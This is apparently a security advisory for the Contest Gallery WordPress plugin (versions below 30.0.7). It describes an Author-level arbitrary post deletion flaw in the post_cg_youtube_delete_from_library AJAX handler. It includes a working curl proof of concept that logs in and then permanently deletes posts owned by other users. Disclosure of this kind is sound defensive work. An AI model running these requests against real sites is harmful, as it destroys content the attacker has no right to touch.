Contest Gallery < 30.0.7 – Author+ Arbitrary Post Deletion via post_cg_youtube_delete_from_library | CVE 2026-16057

Description

The plugin does not perform per-object capability or nonce checks in one of its post-deletion handlers, gating it only by a coarse role-membership test, which allows any Author-level or higher user to permanently delete arbitrary posts, pages, and other content they do not own.

Proof of Concept

Actor: Author (standard WordPress role). Prerequisites: Contest Gallery active; a target post/page exists that the attacker does not own (e.g. an administrator's page). Replace victim.example with the target.

# Step 1 - authenticate as the Author
curl -sk -c a.jar "https://victim.example/wp-login.php" -o /dev/null
curl -sk -b a.jar -c a.jar \
  --data "log=author&pwd=AUTHOR_PASSWORD&wp-submit=Log+In&testcookie=1" \
  "https://victim.example/wp-login.php" -o /dev/null

# Step 2 - delete a post/page the Author does NOT own (e.g. admin-owned page ID 3); no nonce required
curl -sk -i -b a.jar "https://victim.example/wp-admin/admin-ajax.php" \
  --data "action=post_cg_youtube_delete_from_library&cg_wp_post_ids[]=3"
# Multiple IDs can be batched: cg_wp_post_ids[]=3&cg_wp_post_ids[]=4
# Expected: HTTP 200; the target post/page (owned by another user) is permanently deleted
# (verify: the page no longer exists / returns 404).